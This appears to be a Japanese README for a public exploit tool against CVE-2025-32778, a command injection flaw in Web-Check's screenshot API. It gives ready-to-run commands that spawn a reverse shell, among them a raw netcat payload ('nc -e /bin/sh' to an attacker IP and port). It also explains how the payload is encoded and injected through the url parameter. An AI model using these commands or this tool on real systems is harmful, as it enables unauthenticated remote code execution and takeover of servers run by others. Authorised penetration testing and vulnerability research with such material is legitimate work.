CVE-2025-32778 - Web-Check コマンドインジェクションエクスプロイト

説明

CVE-2025-32778 は、Lissy93 による Web-Check OSINT ツールにおける重大なコマンドインジェクションの脆弱性です。
認証されていない攻撃者が、スクリーンショット API の url パラメータを介して任意のシステムコマンドを実行することを可能にします。

この Python スクリプトは、エクスプロイトを自動化し、リバースシェルを生成したり、カスタムシェルペイロードを受け入れたりできます。

警告

• 所有している、またはテストを許可されたシステムでのみテストしてください。
• 無断使用は違法であり、非倫理的です。

機能

• Web-Check の url コマンドインジェクションを悪用します。
• サポート：
  • --lhost と --lport を使用したリバースシェル。
  • --shell を使用したカスタムシェル。
• URL の正規化。
• --shell と --lhost/--lport の組み合わせを防止します。

必要条件

• Python 3.x
• Requests ライブラリ：

pip install requests

使用方法

git clone https://github.com/00xCanelo/CVE-2025-32778
cd CVE-2025-32778

ツールでリバースシェルを作成する

python3 cve-2025-32778.py -u http://target.com:3001/api/screenshot/ --lhost 10.10.10.1 --lport 4444

カスタムシェルペイロード（Raw）

python3 cve-2025-32778.py -u http://target.com:3001/api/screenshot/ --shell "nc -e /bin/sh 10.10.10.1 4444"

ヘルプメニュー

python3 cve-2025-32778.py -h

動作の仕組み

1. ターゲット URL を scheme://host[:port] に正規化します。

2. ペイロードを準備します：

   • --lhost と --lport を使用してリバースシェルを生成します。
   • または、--shell を使用して raw シェルコマンドを使用します。

3. シェルペイロードを安全な URL インジェクションのためにエンコードします。

4. ペイロードを含む HTTP GET リクエストを /api/screenshot/ に送信します。

5. リバースシェル接続を待ちます。

🧑‍💻 作者

00xCanelo
GitHub プロフィール

参照

• Web-Check GitHub リポジトリ – 脆弱なコードを含む元のプロジェクト。
• CVE-2025-32778 – コマンドインジェクションの脆弱性を説明する CVE エントリ。